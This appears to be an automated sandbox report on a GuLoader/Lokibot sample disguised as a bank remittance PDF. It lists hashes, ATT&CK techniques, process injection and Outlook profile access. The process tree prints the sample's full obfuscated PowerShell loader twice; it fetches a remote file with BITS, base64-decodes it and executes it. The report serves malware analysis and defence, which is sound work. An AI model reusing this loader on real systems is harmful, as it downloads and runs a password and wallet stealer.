guloader | 611b1377897f574d551d52bdfd726a13818071fc8605c7af8d19b0d2384cab6d

General

Target

BBVA REMITANCE PDF.vbs
Size

11KB
MD5

a3e1e0656418b73ed6c01a5e81cab3fe
SHA1

eaf764c590b1e8bf83c6099025800cb2659c88d1
SHA256

7cdead7bbbb2d7719151b78fca01d9edd4811852c14cdf3034926db09afadeff
SHA512

88b2218c4d2fc0f377d4d032a281b9570dc121219d573e5a12ced33420dc48dad2528e7b4e39f974ebe6c74155dcebef9818a053312291c2a470ff25f15dbfef
SSDEEP

192:UueqaOrAY2CyGlxgL4rMS2octfPVYS/1UTKeZ7AkDnA4m0H:UbqayAPbGlxg0rWtHSS/1U/tAknH

Score

10^/10

guloader lokibot collection downloader spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	1604	WScript.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	ieinstal.exe
Key opened	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	ieinstal.exe
Key opened	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	ieinstal.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1252	ieinstal.exe
1252	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1576	powershell.exe
1252	ieinstal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1576 set thread context of 1252	1576	powershell.exe	31

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1040	powershell.exe
1576	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1252	ieinstal.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1604 wrote to memory of 1040	1604	WScript.exe	27
PID 1604 wrote to memory of 1040	1604	WScript.exe	27
PID 1604 wrote to memory of 1040	1604	WScript.exe	27
PID 1040 wrote to memory of 1576	1040	powershell.exe	30
PID 1040 wrote to memory of 1576	1040	powershell.exe	30
PID 1040 wrote to memory of 1576	1040	powershell.exe	30
PID 1040 wrote to memory of 1576	1040	powershell.exe	30
PID 1576 wrote to memory of 1252	1576	powershell.exe	31
PID 1576 wrote to memory of 1252	1576	powershell.exe	31
PID 1576 wrote to memory of 1252	1576	powershell.exe	31
PID 1576 wrote to memory of 1252	1576	powershell.exe	31
PID 1576 wrote to memory of 1252	1576	powershell.exe	31
PID 1576 wrote to memory of 1252	1576	powershell.exe	31
PID 1576 wrote to memory of 1252	1576	powershell.exe	31
PID 1576 wrote to memory of 1252	1576	powershell.exe	31

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	ieinstal.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	ieinstal.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BBVA REMITANCE PDF.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function bonapar9 ([String]$Quaeoml){For($yohim=1; $yohim -lt $Quaeoml.Length-1; $yohim+=(1+1)){$Statsman=$Statsman+$Quaeoml.Substring($yohim, 1)};$Statsman;}$nemm=bonapar9 'Zh tUt pAsH: /I/OvSi c t oAr iSa mCePdAiPc .GcToHmB/ HSoArSs eHk e eTp eF.huT3A2T ';$Statsman01=bonapar9 'Di e xS ';$cente = bonapar9 ' \ sQy s wFo wg6H4 \ W iSnNdDoCw s PSo wSeAr SShVeSl lA\Sv 1U.O0C\ pBodwCe rPs hheFl l .neExReS ';.($Statsman01) (bonapar9 'P$PMMePt opdBiLk sS2 = $Te nCvB:TwLiDnBd iRr ') ;.($Statsman01) (bonapar9 'T$ cSeOnGt eA=W$BMGeStIoTd iAk sF2 +H$ c eSnAtBeP ') ;.($Statsman01) (bonapar9 'D$fU nWa bMaBsk =L S( (DgSwUmRiR rw iUnp3 2 _ p rNo cSe sSs P-SFI OPKrCoWcYe s s I d =D$Y{UPPIODS} )b.VCKoSmSm aVn dTLMiAn e )K K-Os pHlSiOt C[AcKh a rJ] 3 4 ');.($Statsman01) (bonapar9 ' $DSMpViUrmlTi ePhMyN =P $AU nia bPa sS[R$ USn a b aMsE.Ac o uIn tG- 2F]N ');.($Statsman01) (bonapar9 'C$PASpTo gfeTi cSaL=C(ATFeFs tC-UPTaKtAhI $CcDe nMt e )N S- ABn dS S( [ ICnAtKP t rH]M: :UsKiTzVeM f-BeGq G8C) ') ;if ($Apogeica) {.$cente $Spirliehy;} else {;$Statsman00=bonapar9 'USJtSaRrSt -PBEi t sPT r a nBsCf eSrV F- S oSu r cSe M$ nHe m mR F-VD eFs tBi n aStiiSo n $EM e tFo d i k sF2O ';.($Statsman01) (bonapar9 ' $ M eGt oRd i kHs 2B= $ eSn v : a p p dPaCtPaF ') ;.($Statsman01) (bonapar9 'PIImWpPoVr t - Mlo dAuSlPe SBii t s T r aRn smfLe r ') ;$Metodiks2=$Metodiks2+'\Bramsh.Ris';while (-not $Swel) {.($Statsman01) (bonapar9 'S$KSAwSe l = ( T e sFt -EPOajt hS $ M e t oSdLiOk sF2S) ') ;.($Statsman01) $Statsman00;.($Statsman01) (bonapar9 'PSSt aPr t - S l eSe pO R5 ');}.($Statsman01) (bonapar9 'P$ bGoSn a pPamr =H HG ePt -AC o n t e nFtA T$HM eDtVo d i kAsS2S ');.($Statsman01) (bonapar9 ' $ GNrUaVvUr u C= p[CS y sbtAeDm .SC o ndv eHr tP] : :LFPrGo maBNaFs eC6I4 S t rPiDn gA( $Eb orn a pBa r )T ');.($Statsman01) (bonapar9 ' $ SPt a t s m a nD2Z =C [rS yHsFtFe m . T e xStT.SE nMcHo d iSnVg ]D: : AKSRCII I .uGEeEtRSTtTrSiTn g (B$CGGrUa v r u )D ');.($Statsman01) (bonapar9 ' $TR e sOcTr aStNc hTpC=D$ SBt act s mCaInT2A.DsLuEbLs tsrsi nTg (Q1 8H1L7S6L4 , 1 9J6 1 6 )U ');.($Statsman01) $Rescratchp;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function bonapar9 ([String]$Quaeoml){For($yohim=1; $yohim -lt $Quaeoml.Length-1; $yohim+=(1+1)){$Statsman=$Statsman+$Quaeoml.Substring($yohim, 1)};$Statsman;}$nemm=bonapar9 'Zh tUt pAsH: /I/OvSi c t oAr iSa mCePdAiPc .GcToHmB/ HSoArSs eHk e eTp eF.huT3A2T ';$Statsman01=bonapar9 'Di e xS ';$cente = bonapar9 ' \ sQy s wFo wg6H4 \ W iSnNdDoCw s PSo wSeAr SShVeSl lA\Sv 1U.O0C\ pBodwCe rPs hheFl l .neExReS ';.($Statsman01) (bonapar9 'P$PMMePt opdBiLk sS2 = $Te nCvB:TwLiDnBd iRr ') ;.($Statsman01) (bonapar9 'T$ cSeOnGt eA=W$BMGeStIoTd iAk sF2 +H$ c eSnAtBeP ') ;.($Statsman01) (bonapar9 'D$fU nWa bMaBsk =L S( (DgSwUmRiR rw iUnp3 2 _ p rNo cSe sSs P-SFI OPKrCoWcYe s s I d =D$Y{UPPIODS} )b.VCKoSmSm aVn dTLMiAn e )K K-Os pHlSiOt C[AcKh a rJ] 3 4 ');.($Statsman01) (bonapar9 ' $DSMpViUrmlTi ePhMyN =P $AU nia bPa sS[R$ USn a b aMsE.Ac o uIn tG- 2F]N ');.($Statsman01) (bonapar9 'C$PASpTo gfeTi cSaL=C(ATFeFs tC-UPTaKtAhI $CcDe nMt e )N S- ABn dS S( [ ICnAtKP t rH]M: :UsKiTzVeM f-BeGq G8C) ') ;if ($Apogeica) {.$cente $Spirliehy;} else {;$Statsman00=bonapar9 'USJtSaRrSt -PBEi t sPT r a nBsCf eSrV F- S oSu r cSe M$ nHe m mR F-VD eFs tBi n aStiiSo n $EM e tFo d i k sF2O ';.($Statsman01) (bonapar9 ' $ M eGt oRd i kHs 2B= $ eSn v : a p p dPaCtPaF ') ;.($Statsman01) (bonapar9 'PIImWpPoVr t - Mlo dAuSlPe SBii t s T r aRn smfLe r ') ;$Metodiks2=$Metodiks2+'\Bramsh.Ris';while (-not $Swel) {.($Statsman01) (bonapar9 'S$KSAwSe l = ( T e sFt -EPOajt hS $ M e t oSdLiOk sF2S) ') ;.($Statsman01) $Statsman00;.($Statsman01) (bonapar9 'PSSt aPr t - S l eSe pO R5 ');}.($Statsman01) (bonapar9 'P$ bGoSn a pPamr =H HG ePt -AC o n t e nFtA T$HM eDtVo d i kAsS2S ');.($Statsman01) (bonapar9 ' $ GNrUaVvUr u C= p[CS y sbtAeDm .SC o ndv eHr tP] : :LFPrGo maBNaFs eC6I4 S t rPiDn gA( $Eb orn a pBa r )T ');.($Statsman01) (bonapar9 ' $ SPt a t s m a nD2Z =C [rS yHsFtFe m . T e xStT.SE nMcHo d iSnVg ]D: : AKSRCII I .uGEeEtRSTtTrSiTn g (B$CGGrUa v r u )D ');.($Statsman01) (bonapar9 ' $TR e sOcTr aStNc hTpC=D$ SBt act s mCaInT2A.DsLuEbLs tsrsi nTg (Q1 8H1L7S6L4 , 1 9J6 1 6 )U ');.($Statsman01) $Rescratchp;}"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1576
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      Checks QEMU agent file
      Accesses Microsoft Outlook profiles
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:1252

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
e71c8443ae0bc2e282c73faead0a6dd3

SHA1
0c110c1b01e68edfacaeae64781a37b1995fa94b

SHA256
95b0a5acc5bf70d3abdfd091d0c9f9063aa4fde65bd34dbf16786082e1992e72

SHA512
b38458c7fa2825afb72794f374827403d5946b1132e136a0ce075dfd351277cf7d957c88dc8a1e4adc3bcae1fa8010dae3831e268e910d517691de24326391a6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b1ebd3520e79cd817e3d0f5cdba2f72d

SHA1
eb5bca541d75dab8a4cc1201ebec00c5f01ba1c3

SHA256
3bec6dcfd8f9e219702ba37113eaff5027ed4c290c764516ffa083e0b8e42b19

SHA512
89a4dcf66eb57803d40d25cf15b9bac137b371dde009a97bc88cb0046023bad4f3859cab372040af2b1871450ad8aa21036d0d0f3da52bf1c6170eaa7499ddcb

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
95bad94913f99c24fd3011705fde487c

SHA1
0831eb1a3cd4c26af8baac805da9ed45e45ef21c

SHA256
3ea340d74922c8c30c21bf203554cead285264ab06f49be7af759e63e30858de

SHA512
53cf418efe9d07bc6724bc3b91f48b48df9390eb3d9cb14c95805fbca396674b275b0acac31c8c8318c2b23a77815bcde3e73345b68b07e6c908566a74490472

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab911A.tmp

Filesize
61KB

MD5
e71c8443ae0bc2e282c73faead0a6dd3

SHA1
0c110c1b01e68edfacaeae64781a37b1995fa94b

SHA256
95b0a5acc5bf70d3abdfd091d0c9f9063aa4fde65bd34dbf16786082e1992e72

SHA512
b38458c7fa2825afb72794f374827403d5946b1132e136a0ce075dfd351277cf7d957c88dc8a1e4adc3bcae1fa8010dae3831e268e910d517691de24326391a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar9DD7.tmp

Filesize
161KB

MD5
be2bec6e8c5653136d3e72fe53c98aa3

SHA1
a8182d6db17c14671c3d5766c72e58d87c0810de

SHA256
1919aab2a820642490169bdc4e88bd1189e22f83e7498bf8ebdfb62ec7d843fd

SHA512
0d1424ccdf0d53faf3f4e13d534e12f22388648aa4c23edbc503801e3c96b7f73c7999b760b5bef4b5e9dd923dffe21a21889b1ce836dd428420bf0f4f5327ff

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P0Q75YW8DWMKDG23KRV0.temp

Filesize
7KB

MD5
9bef19dc871f6dce0bd079beeca4a60d

SHA1
95122578afa531cdf4ecb4f006029d03ae017a4f

SHA256
7751bcb03b8d8ea27a04f0280591290d9ecfc481bdf44430261df22d63b5904d

SHA512
24ff14c4287dc1d9da2984e5975bfcc1ed5c4acd57f32c6e9d2979b15c8fc56eba36ad595fbbcf061509c85a783e09dab67c449fbce7ea1d80b02240091f1b42

Download Submit
memory/1040-99-0x00000000022F0000-0x0000000002370000-memory.dmp

Filesize
512KB

Download
memory/1040-77-0x00000000022F0000-0x0000000002370000-memory.dmp

Filesize
512KB

Download
memory/1040-75-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/1040-76-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/1040-79-0x00000000022F0000-0x0000000002370000-memory.dmp

Filesize
512KB

Download
memory/1040-78-0x00000000022F0000-0x0000000002370000-memory.dmp

Filesize
512KB

Download
memory/1040-96-0x00000000022F0000-0x0000000002370000-memory.dmp

Filesize
512KB

Download
memory/1040-97-0x00000000022F0000-0x0000000002370000-memory.dmp

Filesize
512KB

Download
memory/1040-98-0x00000000022F0000-0x0000000002370000-memory.dmp

Filesize
512KB

Download
memory/1252-107-0x00000000010B0000-0x00000000032C6000-memory.dmp

Filesize
34.1MB

Download
memory/1252-108-0x00000000010B0000-0x00000000032C6000-memory.dmp

Filesize
34.1MB

Download
memory/1252-125-0x00000000010B0000-0x00000000032C6000-memory.dmp

Filesize
34.1MB

Download
memory/1252-124-0x00000000010B0000-0x00000000032C6000-memory.dmp

Filesize
34.1MB

Download
memory/1252-123-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/1252-109-0x00000000010B0000-0x00000000032C6000-memory.dmp

Filesize
34.1MB

Download
memory/1576-105-0x00000000060A0000-0x00000000082B6000-memory.dmp

Filesize
34.1MB

Download
memory/1576-84-0x0000000002680000-0x00000000026C0000-memory.dmp

Filesize
256KB

Download
memory/1576-106-0x0000000005000000-0x0000000005001000-memory.dmp

Filesize
4KB

Download
memory/1576-83-0x0000000002680000-0x00000000026C0000-memory.dmp

Filesize
256KB

Download
memory/1576-82-0x0000000002680000-0x00000000026C0000-memory.dmp

Filesize
256KB

Download
memory/1576-101-0x0000000002680000-0x00000000026C0000-memory.dmp

Filesize
256KB

Download
memory/1576-102-0x0000000002680000-0x00000000026C0000-memory.dmp

Filesize
256KB

Download
memory/1576-100-0x0000000002680000-0x00000000026C0000-memory.dmp

Filesize
256KB

Download

Analysis

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